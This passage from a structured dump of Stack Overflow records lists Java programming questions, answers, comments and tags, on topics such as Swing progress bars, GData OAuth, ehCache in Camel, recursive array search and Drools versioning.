'B'){ numOfEachAsChars[idxB]++; }else if (grade[i] == 'C'){ numOfEachAsChars[idxC]++; }else if (grade[i] == 'D'){ numOfEachAsChars[idxD]++; }else if (grade[i] == 'F'){ numOfEachAsChars[idxF]++; } } return numOfEachAsChars; } As you can see in the below example, the raw-numeric value of the character 1 is not one, so I don't recommend the char-array-returning function. /** &lt;P&gt;{@code java RawNumericValueOfChar}&lt;/P&gt; **/ public class RawNumericValueOfChar { public static final void main(String[] ignored) { int intValueOfCharOne = '1'; int intValueOfCharALower = 'a'; int intValueOfCharAUpper = 'A'; System.out.println("intValueOfCharOne=" + intValueOfCharOne); System.out.println("intValueOfCharALower=" + intValueOfCharALower); System.out.println("intValueOfCharAUpp…
has comment: http://stackoverflow.com/comment/33853668
accepted answer of: http://stackoverflow.com/q/22278454
type: AcceptedAnswer
score: 0
type: Answer

http://stackoverflow.com/a/22284486
has comment: http://stackoverflow.com/comment/33914860
type: Answer
has comment: http://stackoverflow.com/comment/33855311
has comment: http://stackoverflow.com/comment/33914889
has comment: http://stackoverflow.com/comment/34029907
has comment: http://stackoverflow.com/comment/34030869
score: 0
has body: For starters your white space scares me a little bit. You might want to think about fixing your indentation and line skips. People are much more likely to help you if your code is neat. More to the point, what you need to do is change the location of the tip of the arm and base the location of the other two fingers on that location. Simply rewrite the location of the points of the fingers in terms of the variable location. Then all you have to do is trigger an animation by using a boolean and the button you already set up. For a project as simple as this you should be okay with just adding in a little block of code in the paint function which increments the location (if you want circular motion think sin and cosine for your x and y values of the arm). Just increment this until you reach the desired limit then turn around (maybe use a delta variable to consolidate this).
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/34031199
accepted answer of: http://stackoverflow.com/q/22283903
has comment: http://stackoverflow.com/comment/33983012
answers question: http://stackoverflow.com/q/22283903
has comment: http://stackoverflow.com/comment/34031299

http://stackoverflow.com/q/22201326
upvote count: 2
type: UnansweredQuestion
score: 2
has title: Google Gdata ContactService Oauth2 Java
answer count: 0
tagged with: java
tagged with: oauth-2.0
type: Question
tagged with: gdata
tagged with: google-shared-contacts
has body: EDIT: The solution to my problem shows... well, NEVER try to work with copy &amp; paste code without thinking! SOLUTION To be able to change my Service, the Service should NEVER be FINAL. Removing final enabled setCredentials(credential) and let me reach my contacts. Correct ContactsService init: /** * Service used to communicate with contacts feed. */ private ContactsService service = new ContactsService(APPLICATION_NAME); after this, no errors remained ;) Original Question I'm trying to build a GWT-Server-Side call to Google GData Contacts API V3.0. I'm using GWT 2.5.1 and jre6. For this I want to implement the API for native application. Not as a web-server-service. I do receive *ACCESS_TOKEN* and *REFRESH_TOKEN*. I want to be able, to read/update/delete contacts and synchronize them with my database. Although I found several questions, no solution or problem was directed at the native application approach. Thanks for everybody trying to help! My Problem ContactFeed resultFeed = service.getFeed(feedUrl, ContactFeed.class); only results in ERROR: 15:12:41,513 ERROR [STDERR] java.lang.NullPointerException: No authentication header information 15:12:41,514 ERROR [STDERR] at com.google.gdata.util.AuthenticationException.initFromAuthHeader(AuthenticationException.java:96) ..... My question Did anybody else receive those problems? Can I use com.google.api.client.auth.oauth2.Credential to authorize the ContactsService? Is there a way to create this Header myself as a workaround? My Code including imports: ContactSerice Initialization private final ContactsService service = new ContactsService(APPLICATION_NAME); ImportFunction @Override public Integer importGoogleContactData() { int numberOfImportedContacts = 0; System.out.println( "INFO GDataServiceImpl reached importGoogleContactData()"); try { httpTransport = GoogleNetHttpTransport.newTrustedTransport(); dataStoreFactory = new FileDataStoreFactory(DATA_STORE_DIR); //authorization Credential credential = authorize(); c…
downvote count: 0
favorite count: 0

http://stackoverflow.com/comment/33705408
comment on: http://stackoverflow.com/a/22200882
has text: Hmm, try replacing `teclat.nextLine()` with `teclat.next().trim()` again, otherwise I'm not sure what the problem could be.
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/22284493
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33854270
downvote count: 0
score: 1
has body: I have a PhoneBook class that extends AbstractCollection&lt;Contact&gt; in which I have overwritten add, size and iterator methods. In the main function I create a new instance of the PhoneBook class and attempt to add a Contact to it using the add method. Apparently everything compiles fine however I get an exception at runtime saying: Exception in thread "main" java.lang.Error: Unresolved compilation problems: The method add(Contact) is undefined for the type PhoneBook The method add(Contact) is undefined for the type PhoneBook The method size() is undefined for the type PhoneBook I don't know why this is happening and my searches didn't bring up any useful information. The code that's causing the error: public class PhoneBook extends AbstractCollection&lt;Contact&gt; { private HashSet&lt;Contact&gt; contacts = new HashSet&lt;&gt;(); @Override public boolean add(Contact newContact) { return contacts.add(newContact); } @Override public int size() { return contacts.size(); } @Override public Iterator&lt;Contact&gt; iterator() { return contacts.iterator(); } } public class Application { public static void main(String[] args) { PhoneBook book = new PhoneBook(); book.add(new Contact("Marco Polo", "asd@acf.com")); book.add(new Contact("Pablo Cablo", "asd@ccf.com")); book.size(); System.out.println(book); } } What exactly am I doing wrong?
has answer: http://stackoverflow.com/a/22284680
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/33854506
has comment: http://stackoverflow.com/comment/33854267
has comment: http://stackoverflow.com/comment/33854205
has comment: http://stackoverflow.com/comment/33854342
tagged with: java
accepted answer: http://stackoverflow.com/a/22284680
upvote count: 1
has comment: http://stackoverflow.com/comment/33854268
answer count: 1
has title: What exactly is causing these 'undefined methods' errors?
has comment: http://stackoverflow.com/comment/33854537
has comment: http://stackoverflow.com/comment/33854209

http://stackoverflow.com/comment/33825658
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22268332
type: Comment
has text: I said it should be a valid interceptor that will not break the stack. You should not execute the action from the interceptor because the action should execute at the bottom of the interceptor stack. All you need is just to continue invoking it after you fix the stack from this answer.

http://stackoverflow.com/a/22268975
has comment: http://stackoverflow.com/comment/33828405
has body: A standard pattern for what you are trying to achieve goes like this: function on_all_tasks_done() { // do something } tasks = generate_async_taks() var nb_tasks = tasks.size() var callback = function() { nb_tasks-- if (nb_tasks == 0) on_all_tasks_done(); }; for (var i = 0; i &lt; nb_tasks; i++) { var task = tasks[i] task.execute_then_invoke(callback) } Expanding on the large comments portion: This question started out as: If I have a set of tasks and run them asynchronously, how can I react to the 'all_tasks_done' event. I answered this question. And now you are basically asking stuff, like: 'How should I structure my code?' or 'What is the best strategy to write maintainable asynchronous code?' Such questions are non-trivial to answer and more over you kind of lack the necessary terminology. I'm afraid there's only so much I can do :)
type: Answer
has comment: http://stackoverflow.com/comment/33829734
has comment: http://stackoverflow.com/comment/33829083
has comment: http://stackoverflow.com/comment/33827385
has comment: http://stackoverflow.com/comment/33827362
has comment: http://stackoverflow.com/comment/33827187
has comment: http://stackoverflow.com/comment/33826976
has comment: http://stackoverflow.com/comment/33827169
score: 0
has comment: http://stackoverflow.com/comment/33828960
has comment: http://stackoverflow.com/comment/33827127
answers question: http://stackoverflow.com/q/22268894

http://stackoverflow.com/a/22212531
has comment: http://stackoverflow.com/comment/33729838
has body: You can convert radians into degrees by multiplying it with 180/Math.PI, Furthermore the inverse cosine (or cos^-1 like some textbooks denote this) is the Math.acos method (a standing for arc). thus double AB = 125; double AC = 150; double angleA = Math.acos(AB / AC); println(angleA*180.0d/Math.PI); will solve the problem. In case you want to find angle C, you can calculate this by coding: double angleCDeg = 90.0d-angleA*180.0d/Math.PI;//angle in degrees. double angleC = angleC*Math.PI/180.0d;//angle in radians.
score: 5
answers question: http://stackoverflow.com/q/22212440
has comment: http://stackoverflow.com/comment/33726003
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/33726032
has comment: http://stackoverflow.com/comment/33725361
type: Answer
accepted answer of: http://stackoverflow.com/q/22212440
has comment: http://stackoverflow.com/comment/33725188
has comment: http://stackoverflow.com/comment/33725060
has comment: http://stackoverflow.com/comment/33725257
has comment: http://stackoverflow.com/comment/33742477
upvote count: 5

http://stackoverflow.com/comment/33897779
type: Comment
comment on: http://stackoverflow.com/q/22308306
score: 0
has text: What is the purpose for which you will use this xml file? Would use of JSON be helpful? One note from experience: whenever someone says "there will never more than one ..." design for multiple. (You may even want to use "Company x" and "Company textX" as two companies to test changes in functionality during the life of your project / product.
type: QuestionComment

http://stackoverflow.com/comment/33724432
has text: read up the doc there and be creative , isn't this is what we programmer are supposed to do , no straight and simple solution to all the problems
type: AnswerComment
comment on: http://stackoverflow.com/a/22200278
score: 0
type: Comment

http://stackoverflow.com/q/22179226
tagged with: java
downvote count: 3
score: -1
has answer: http://stackoverflow.com/a/22179291
type: Question
answer count: 2
favorite count: 0
has body: I have a big problem, my project has three classes. (Strings, GetStrings, Main). My First Class File, public class ProgramConfig { public String strVersionNumber = "1.0.0"; public String strProgramName = "TestProgramName"; } My Second Class File(GetConfig), public class GetProgramConfig { ProgramConfig ProgramConfig; public String GetLocalVersionNumber(){ return ProgramConfig.strVersionNumber; } public String GetProgramName(){ return ProgramConfig.strProgramName; } And my problem was here. I can't call anything from class file. Here a sample, GetProgramConfig cfg; String testStr = cfg.GetProgramName(); Problem i.hizliresim.com/e7JVdm.png And void call, i.hizliresim.com/e7JVdm.png delete {}
has comment: http://stackoverflow.com/comment/33664139
upvote count: 2
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22179325
has title: JAVA How to call a void method from another class and read public String method?

jlabel
tags question: http://stackoverflow.com/q/22232889
tags question: http://stackoverflow.com/q/22224795
tags question: http://stackoverflow.com/q/22316599
tags question: http://stackoverflow.com/q/22181226
tags question: http://stackoverflow.com/q/22271089
tags question: http://stackoverflow.com/q/22212568
tags question: http://stackoverflow.com/q/22307917
tag name: jlabel
tags question: http://stackoverflow.com/q/22316591
tags question: http://stackoverflow.com/q/22274722
tags question: http://stackoverflow.com/q/22233729
tags question: http://stackoverflow.com/q/22301380
tags question: http://stackoverflow.com/q/22241711
tags question: http://stackoverflow.com/q/22188120
tags question: http://stackoverflow.com/q/22180879
tags question: http://stackoverflow.com/q/22317327
tags question: http://stackoverflow.com/q/22185757
tags question: http://stackoverflow.com/q/22198917
tags question: http://stackoverflow.com/q/22199078
type: Tag

http://stackoverflow.com/comment/33818082
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22212433
type: AnswerComment
has text: @StuartKuredjian No, the first class isn't supposed to be the main-class. Please post the actual error message you get when running the jar file via 'java -jar'. Not via Eclipse, it's of no interest. Eclipse won't be there in production.

http://stackoverflow.com/comment/33768606
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22236578
has text: @Zéychin It's a reference to the array that is being passed, not the entire array.
score: 0

http://stackoverflow.com/q/22327476
has body: I have troubles with the management of ehCache lifecycle within Camel. I have routes that are defined in Spring DSL. I can load them dynamically through my application. In the initial load of the camel context, the cache works marvelously. Yet, if I stop the camel context and try to restart it, the ehCache doesn't restart. I have no EhCache custom configuration. This means that the whole lifecycle is actually managed by camel-cache. Here is the exception I get when I try to access ehcache after restarting the camel context: java.lang.IllegalStateException: The demo Cache is not alive (STATUS_SHUTDOWN) at net.sf.ehcache.Cache$CacheStatus.checkAlive(Cache.java:4009) ~[ehcache2.8.0.jar:2.8.0] at net.sf.ehcache.Cache.checkStatus(Cache.java:2717) ~[ehcache-2.8.0.jar:2.8.0] Is there a way to have better control on the EhCache lifecycle management so that I can restart the cache when the route is restarted? Along those lines, is there a way to setup the cache such that it is globally visible in the JVM as opposed to being tied to one camel context? In other words, is there a ay to setup ehCache such that I can restart camel contexts without shuting down EhCache?
answer count: 1
has answer: http://stackoverflow.com/a/22357245
has title: Camel and Cache LifeCycle
tagged with: java
type: UnansweredQuestion
tagged with: apache-camel
score: 2
downvote count: 0
favorite count: 0
type: Question
tagged with: spring
tagged with: ehcache
upvote count: 2

http://stackoverflow.com/comment/33799110
comment on: http://stackoverflow.com/q/22254070
score: 1
has text: endsWith checks for a String match, not a regular expression match. See the answers for alternatives.
type: Comment
type: QuestionComment

http://stackoverflow.com/a/22287132
has body: the '+' character is a meta-character used to formulate regular expressions. If you wish to refer to it literally you need to escape it. The same goes with several other characters like '.', '*', '[', ']', etc. if (msg[1].contains("+")){ numeros = msg[1].split("\\+"); // this should work } You might want to read oracle's documentation on regular expressions for more information.
downvote count: 0
score: 1
type: Answer
answers question: http://stackoverflow.com/q/22287014
upvote count: 1

http://stackoverflow.com/comment/33900908
type: Comment
comment on: http://stackoverflow.com/a/22309394
has text: @PiotrMiazga XOR swap won't work for String either.
type: AnswerComment
score: 0

http://stackoverflow.com/comment/33825471
type: Comment
type: QuestionComment
has text: Which jar does IPlayer resides in?
comment on: http://stackoverflow.com/q/22268604
score: 0

http://stackoverflow.com/comment/33728066
type: QuestionComment
has text: you should check if this particular class is present in the particular package in the jar.
comment on: http://stackoverflow.com/q/22214603
score: 0
type: Comment

jfxtras
tags question: http://stackoverflow.com/q/22194411
type: Tag
tag name: jfxtras

http://stackoverflow.com/a/22180228
downvote count: 0
upvote count: 2
accepted answer of: http://stackoverflow.com/q/22179569
type: Answer
answers question: http://stackoverflow.com/q/22179569
has comment: http://stackoverflow.com/comment/33666354
has body: Here is one approach that solves the problem recursively, public boolean searchTable(int[][] data, int element) { return searchTable(data, element, 0); } private boolean searchTable(int[][] data, int element, int p) { if (p &lt; 0 || p &gt; data.length) { return false; } int[] row = getRow(data, p); if (searchRow(row, element, 0)) { return true; } return searchTable(data, element, 1 + p); } private boolean searchRow(int[] data, int element, int p) { if (data == null || p &gt;= data.length) { return false; } if (data[p] == element) { return true; } return searchRow(data, element, 1 + p); } public int[] getRow(int[][] in, int x) { if (in == null || x &gt;= in.length) { return null; } return in[x]; } public static void main(String[] args) { // I named the class Question. Question question = new Question(); int[][] table = new int[][] { { 5, 2, 8, 5, 61 }, { 3, 9, 6 }, { 10, 42, 53, 45 } }; System.out.println(question.searchTable(table, 45)); System.out.println(question.searchTable(table, 100)); } Output is true false
score: 2
type: AcceptedAnswer

http://stackoverflow.com/comment/33712864
score: 1
has text: Good question, the answer must be somewhere in the JLS... Let's wait until someone is so nice to find it.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22206334

http://stackoverflow.com/q/22311909
has answer: http://stackoverflow.com/a/22312748
has comment: http://stackoverflow.com/comment/33905384
has comment: http://stackoverflow.com/comment/33905937
downvote count: 0
answer count: 1
favorite count: 0
has title: Creating a string character by character in Java
has comment: http://stackoverflow.com/comment/33903953
has comment: http://stackoverflow.com/comment/33904272
has comment: http://stackoverflow.com/comment/33904938
accepted answer: http://stackoverflow.com/a/22312748
tagged with: hex
has comment: http://stackoverflow.com/comment/33905858
has body: So I have created this program: class Input { public static void main(String[] args) throws Exception { String hexa; hexa = ""; int pituus; pituus = hexa.length(); int i = 1; char luku; char luku2; while (i &lt; pituus) { luku = hexa.charAt(i); luku2 = hexa.charAt(i - 1); luku++; if (luku == 'G') { luku = '0'; luku2++; } else if (luku == ':') luku = 'A'; if (luku2 == '8') luku2 = '0'; System.out.print(luku2); System.out.print(luku); i += 2; } System.out.println(); } } As you can propably tell, it prints the original hex string, but adds 1 to every pair of characters, and I want the maximum value of the pairs to be 7F. This program however is only beginning, and to proceed further I need a string with all the characters printed. Is that possible?
upvote count: 1
has comment: http://stackoverflow.com/comment/33904761
has comment: http://stackoverflow.com/comment/33904649
type: AnsweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/33905127
tagged with: java
type: Question

http://stackoverflow.com/a/22279136
type: Answer
score: 3
downvote count: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/22274572
has body: The doc for the TIMESTAMP data type and the doc for implementation notes both say that Derby uses nanosecond resolution. That suggests a 64-bit integer, but I don't know Derby’s implementation. If you truly care, look at the source code. Why would you not use TIMESTAMP? The job of the database is to manage data, so let it. You should not be trying to jerry-rig the data types without a very important reason. A vague concern about "efficiency" is micro-managing the database server’s job. Furthermore, your question is vague. What does "efficiency" mean? Less space used in storage? Less space used in memory? Advantages in indexing? Faster queries? Faster writes? But, again, those concerns are premature optimization (a bad thing) until you’ve identified a specific bottleneck. There are advantages to storing a date-time value in a date-time data type, otherwise that data type would not have been added to the database’s repertoire. One important benefit of using TIMESTAMP as intended is that it knows how to parse strings as date-time values.
answers question: http://stackoverflow.com/q/22274572
upvote count: 3

http://stackoverflow.com/a/22477121
has body: I'm not familiar with a way to override JPA default settings, but you could use EntityListeners to perform some @PrePersist validations and check that an object fields (non transient ones) are not null by reflection. Having said that, I believe that this makes the entity definition less clear and would rather stick to the more declarative technique using (nullable="false").
score: 0
answers question: http://stackoverflow.com/q/22298317
type: Answer

http://stackoverflow.com/a/22322401
score: 1
has body: I think the inner loop never is executed. Because initially pituus is 0 and the inner loop isn't executed and sb.toString(); is "" and pituus is 0 again, because of this the inner loop never is executed.
type: Answer
has comment: http://stackoverflow.com/comment/33921810
has comment: http://stackoverflow.com/comment/33926440
upvote count: 1
accepted answer of: http://stackoverflow.com/q/22322093
answers question: http://stackoverflow.com/q/22322093
has comment: http://stackoverflow.com/comment/33925709
has comment: http://stackoverflow.com/comment/33930679
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/22230812
has comment: http://stackoverflow.com/comment/33756402
has title: Can't import .jar into Eclipse Android Project
tagged with: eclipse
has body: So I have imported by two .jar files into the libs folder using the following method: Right click on libs > Import > Import File System and then bring them in. Once they get brought in, right click libs > Build Path > Configure Build Path and add them to the Build Path of the project. However, when I imported the package I needed to use in my project, it gave me the error "The import org.codehaus cannot be resolved." Any idea how to fix this issue?
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/22230973
has answer: http://stackoverflow.com/a/22230973
type: Question
accepted answer: http://stackoverflow.com/a/22231073
tagged with: android
score: 0
answer count: 2
tagged with: java
tagged with: adt
has answer: http://stackoverflow.com/a/22231073
has comment: http://stackoverflow.com/comment/33757040

http://stackoverflow.com/q/22227866
has comment: http://stackoverflow.com/comment/33751491
linked to: http://stackoverflow.com/q/277007
answer count: 1
favorite count: 0
type: UnansweredQuestion
tagged with: jprogressbar
has comment: http://stackoverflow.com/comment/33750951
upvote count: 1
tagged with: swing
has title: Updating the progress bar
score: 0
tagged with: java
has comment: http://stackoverflow.com/comment/33751625
has answer: http://stackoverflow.com/a/22228423
downvote count: 1
type: Question
tagged with: swingworker
has body: I have a big program which needs to be called by a GUI. The GUI has a progress bar which needs to be updated(like 5% .... 10% )after the user presses the start button. The problem is that the background task performed does not have a fixed execution time. So is somehow possible to measure the progress of the task performed in the doInBackground() method (i am trying to use SwingWorker). Or should i go with an indeterminate progress bar. I was unable to clearly understand the example provided on Oracle's tutorial page and wasn't able to find a decent page explaining how to use a progress bar. Any help will be highly appreciated.

http://stackoverflow.com/comment/33880940
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/22299444
type: Comment
has text: Hi jon can u please help me with the correct syntax? Thank you :)

http://stackoverflow.com/comment/33692619
type: Comment
type: QuestionComment
has text: Why is a profile not enough?
comment on: http://stackoverflow.com/q/22194900
score: 1

http://stackoverflow.com/q/22208771
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22208854
tagged with: java
tagged with: methods
type: Question
downvote count: 0
has body: I am making a very simple blackjack game with one class and at least 2 methods. I want to take the random generated numbers that are being output (cards being dealt) and add them so I can make an if else statement to check if the total is over 21 causing the player to lose. import java.util.*; public class BlackJack { private Scanner scan; static Random generator = new Random(); public BlackJack(){ scan = new Scanner (System.in); } public static void main(String[] args) { StarterCards(); Hit(); } public static void Hit() { System.out.println("Hit? (y or n)"); String yes = new String ("y"); Scanner input = new Scanner(System.in); String yesorno = input.nextLine(); if(yesorno.equals(yes)) { RandomCard(); Hit(); if() } else { System.out.println("Game Over"); } } public static void RandomCard() { int card = generator.nextInt(10) + 1; System.out.println("Card : "+ card); int total2 = card; } public static void StarterCards() { int card1 = generator.nextInt(10) + 1; int card2 = generator.nextInt(10) + 1; System.out.println("Card : "+ card1); System.out.println("Card : "+ card2); } }
accepted answer: http://stackoverflow.com/a/22208854
tagged with: random
has comment: http://stackoverflow.com/comment/33717395
answer count: 1
has comment: http://stackoverflow.com/comment/33717366
favorite count: 0
tagged with: blackjack
upvote count: 2
has title: How to take integers being printed by a method?
score: 2

http://stackoverflow.com/comment/33868368
type: Comment
score: 0
has text: Which instance would it use?
type: QuestionComment
comment on: http://stackoverflow.com/q/22292201

http://stackoverflow.com/comment/33848700
has text: You can use similar code as in my answer. Just replace `new GsonBuilder().setPrettyPrinting().create();` with default Gson object `new Gson()`.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22267763
type: Comment

http://stackoverflow.com/q/22206188
answer count: 2
has title: Java queue errors
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22206779
tagged with: list
tagged with: java
tagged with: queue
type: Question
has body: I keep getting the error: Exception in thread "main" java.lang.IndexOutOfBoundsException: Index: 2, Size: 2. When i pop and peek after pushing one value into it says null. And when i pop/peek from an empty queue it gives me the error. Is this not the correct way to use artay list with a queue? public T peek() { if(isEmpty()) throw new RuntimeException("Can't peek here"); return value.get(value.size()-1);); } public T pop() { if(isEmpty()) throw new RuntimeException("Can't pop here"); T number = value.get(begin); value.set(begin, null); //value.remove(value.size()-1); begin++; return number; }
has answer: http://stackoverflow.com/a/22206319
score: 0

http://stackoverflow.com/comment/33735315
has text: What is the exception (with the stacktrace)?
comment on: http://stackoverflow.com/q/22218807
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/33679054
has text: @GabrielA.Zorrilla, yes, it is ok. But if you dont like constructor with a lot of parameters and if you will use same objects for creating different other objects, than you'l probably need use `builder pattern`
score: 1
comment on: http://stackoverflow.com/a/22187315
type: AnswerComment
type: Comment

http://stackoverflow.com/q/22205548
score: 13
tagged with: panoramas
upvote count: 13
has answer: http://stackoverflow.com/a/22283309
has title: How to implement Camera functionality with extra options (like Panorama)?
tagged with: java
type: Question
tagged with: android-camera
tagged with: camera
downvote count: 0
has answer: http://stackoverflow.com/a/22380086
answer count: 3
linked to: http://stackoverflow.com/q/15377663
has answer: http://stackoverflow.com/a/45736055
favorite count: 0
has body: I am mainly interested in panorama option. Is there a way to open the native Camera app (the enhanced version), so the user can switch between normal photo and panorama view? Is it possible at all or should I stop trying? Here is the code that I am using right now: Intent i = new Intent(android.provider.MediaStore.ACTION_IMAGE_CAPTURE); startActivityForResult(i, CAMERA_REQUEST); This is what currently happens: And this is what I need to achieve: Thank you!
linked to: http://stackoverflow.com/q/16193002
type: UnansweredQuestion
tagged with: android

http://stackoverflow.com/comment/33729477
score: 0
has text: can you show us all the code ,the map code seems to be fine?
comment on: http://stackoverflow.com/q/22215363
type: Comment
type: QuestionComment

http://stackoverflow.com/a/22894878
type: Answer
upvote count: 2
score: 2
answers question: http://stackoverflow.com/q/22250118
accepted answer of: http://stackoverflow.com/q/22250118
type: AcceptedAnswer
downvote count: 0
has body: On Gnome there is java-gnome support library, it is doing native calls for better integration with gnome. It can get path of user dirs via calls to Glib.getUserSpecialDir. Haven't tried this one myself, might be worth a try if you are planning to use more desktop-integrated features in your program.

http://stackoverflow.com/comment/33876195
score: 0
type: Comment
type: QuestionComment
has text: Please, post code what have you tried.
comment on: http://stackoverflow.com/q/22296805

http://stackoverflow.com/comment/33895021
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22306400
has text: now with getF() code. really nothing special there.

http://stackoverflow.com/q/22216101
score: 1
tagged with: java
has body: Hello I am looking for a way to disable a radio buttons if textfield is empty. My radio buttons called buttonGroup1(jbutton1,jbutton2,jbutton3,jbutton4) should be disabled if textfield is empty but I have no idea how to make if statment for this
tagged with: swing
has answer: http://stackoverflow.com/a/22216171
accepted answer: http://stackoverflow.com/a/22216171
type: Question
tagged with: buttongroup
upvote count: 1
tagged with: validation
answer count: 1
favorite count: 0
tagged with: jradiobutton
has title: How to disable group of radio buttons in java
type: AnsweredQuestion
downvote count: 0

http://stackoverflow.com/comment/33832366
type: AnswerComment
comment on: http://stackoverflow.com/a/22272463
score: 0
type: Comment
has text: I might, just don't really know what that is

http://stackoverflow.com/q/22245398
tagged with: java
has comment: http://stackoverflow.com/comment/33783570
has title: Launch an Application from a Browser
type: Question
score: 0
answer count: 1
linked to: http://stackoverflow.com/q/9895287
tagged with: javascript
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
has body: I would like to have a link or button on my web site that launches vim (an editor) on a specific file (e.g., myfile.txt) on my local machine. I want to launch C:\Vim\Vim74\gvim.exe on C:\Users\paulco\myfile.txt form any browser. I want this to work on all (realistically most) browsers. I actively use Chrome, Opera, FireFox and IE (in that order of preference). In order for it to work across all of these browsers, I think the script has to Java-based. Does anyone know how to do this? Does anyone have a Java-based script that does this? Here are some resources I found on the topic. But either they are IE specific or don't work. Launch application from a browser http://msdn.microsoft.com/en-us/library/aa767914%28VS.85%29.aspx
type: UnansweredQuestion
upvote count: 1
has answer: http://stackoverflow.com/a/22247841
downvote count: 1
tagged with: vim

http://stackoverflow.com/q/22214708
has body: I'm having some more confusion on interfaces/inheritance. Here's the example situation. A car class has a private member, gear. A sports car and a van extend car. They are both cars. Only a sports car, though, should be able to set the gear. A van can not change the gear (bear with me). So then there is an interface, IGearChangable. Sports car implements this interface. So then sports Car class has a method called setGear. My question is, how do I access gear? If I make anything in Car protected, the ability to alter gear is still available to the Van class, even though the van should NOT be able to change the gear. public class Car { private int gear; public Car() { gear = 1; } //Any setGear function here would be available to GearChangable and Non } public class SportsCar extends Car implements IGearChangable { public SportsCar() { super(); } public void setGear(int gear) { //How do I access gear? } } public class Van extends Car { public Van() { super(); } //This class should have NO access to change gear } public interface IGearChangable { public void setGear(int gear); } I feel like I'm missing a concept. Should sport car have its own private gear? That doesn't seem right to me either.
has answer: http://stackoverflow.com/a/22225900
tagged with: java
has title: Interfaces that Only Allow Certain Classes Access to Private Variables
type: Question
tagged with: inheritance
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/22214769
has answer: http://stackoverflow.com/a/22214786
has comment: http://stackoverflow.com/comment/33728243
type: UnansweredQuestion
tagged with: interface

http://stackoverflow.com/q/22176712
accepted answer: http://stackoverflow.com/a/22192285
possible better answer: http://stackoverflow.com/a/22177021
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22177021
has comment: http://stackoverflow.com/comment/33659562
type: Question
has body: This is my code: public enum MILLI_CONVERSIONS { //values in milliseconds SECOND(1000), MINUTE(1000*60), HOUR(1000*60*60), DAY(1000*60*60*24), WEEK(1000*60*60*24*7), MONTH(1000*60*60*24*30), YEAR(1000*60*60*24*31*12); private final long millis; private MILLI_CONVERSIONS(final long millis) { this.millis = millis; } public long getMillis() { return millis; } } public static String getDateDifferenceFromToday(Date startDate){ Date today = new Date(); long delta = today.getTime() - startDate.getTime(); Integer diff; String diffText = ""; //seconds if (delta &lt; MILLI_CONVERSIONS.MINUTE.getMillis()){ diff = Integer.valueOf((int) (delta/MILLI_CONVERSIONS.SECOND.getMillis())); diffText = diff.toString() + " seconds ago"; } //minutes else if (delta &lt; MILLI_CONVERSIONS.HOUR.getMillis()){ diff = Integer.valueOf((int) (delta/MILLI_CONVERSIONS.MINUTE.getMillis())); diffText = diff.toString() + " minutes ago"; } //hours else if (delta &lt; MILLI_CONVERSIONS.DAY.getMillis()){ diff = Integer.valueOf((int) (delta/MILLI_CONVERSIONS.HOUR.getMillis())); diffText = diff.toString() + " hours ago"; } //days else if (delta &lt; MILLI_CONVERSIONS.WEEK.getMillis()){ diff = Integer.valueOf((int) (delta/MILLI_CONVERSIONS.DAY.getMillis())); diffText = diff.toString() + " days ago"; } // weeks else if(delta &lt; MILLI_CONVERSIONS.MONTH.getMillis()){ diff = Integer.valueOf((int) (delta/MILLI_CONVERSIONS.WEEK.getMillis())); diffText = diff.toString() + " weeks ago"; } // months else if(delta &lt; MILLI_CONVERSIONS.YEAR.getMillis()){ diff = Integer.valueOf((int) (delta/MILLI_CONVERSIONS.MONTH.getMillis())); diffText = diff.toString() + " months ago"; } // years else{ diff = Integer.valueOf((int) (delta/MILLI_CONVERSIONS.YEAR.getMillis())); diffText = diff.toString() + " years ago"; } return diffText; } It seems to work fine untill I hit weeks. When it is even a week away, it shows 0 months. And then when it is month, it seemingly gets the right amount of months but it shows "years ago" (ex. if …
answer count: 2
tagged with: android
has answer: http://stackoverflow.com/a/22192285
score: 0
tagged with: java
has title: Calculate the difference between two dates: not working as expected
tagged with: date

http://stackoverflow.com/a/22208775
downvote count: 0
score: 11
has comment: http://stackoverflow.com/comment/39749072
has comment: http://stackoverflow.com/comment/53614340
type: AcceptedAnswer
upvote count: 11
has body: Yes, the use case is supported, but it is important to understand that Drools 6 introduces the concept of versioned deployable artifacts (the mavenized kjars). In other words, once you create a kjar with version X, it is supposed to be immutable. If you want to add/remove rules to the kbases defined in kjar, you should create another kjar version X+1. This kjar can be created either physically in the disk as a real jar or in memory. Also important to understand the concept that the kjar is the immutable source artifact and the kcontainer is the container that instantiates the kjar and allows the use of its kbases and ksessions. If that is understood, then all you need to do is instantiate the container for version X, and when you want to change the kbase, call the container updateToVersion(...) method to update it to the new version. KBases and KSessions are incrementally updated and preserved like they were in Drools 5. Unit test here: https://github.com/droolsjbpm/drools/blob/master/drools-compiler/src/test/java/org/drools/compiler/integrationtests/IncrementalCompilationTest.java#L158 Code snippet: // work with version 1.0.0 ReleaseId releaseId1 = ks.newReleaseId("org.kie", "test-upgrade", "1.0.0"); ... // Create a session and fire rules KieContainer kc = ks.newKieContainer( releaseId1 ); KieSession ksession = kc.newKieSession(); ksession.insert(new Message("Hello World")); ... // upgrade to version 1.1.0 ReleaseId releaseId2 = ks.newReleaseId("org.kie", "test-upgrade", "1.1.0"); kc.updateToVersion(releaseId2); // continue working with the session ksession.insert(new Message("Hello World")); ...
type: Answer
accepted answer of: http://stackoverflow.com/q/22205945
has comment: http://stackoverflow.com/comment/137708590
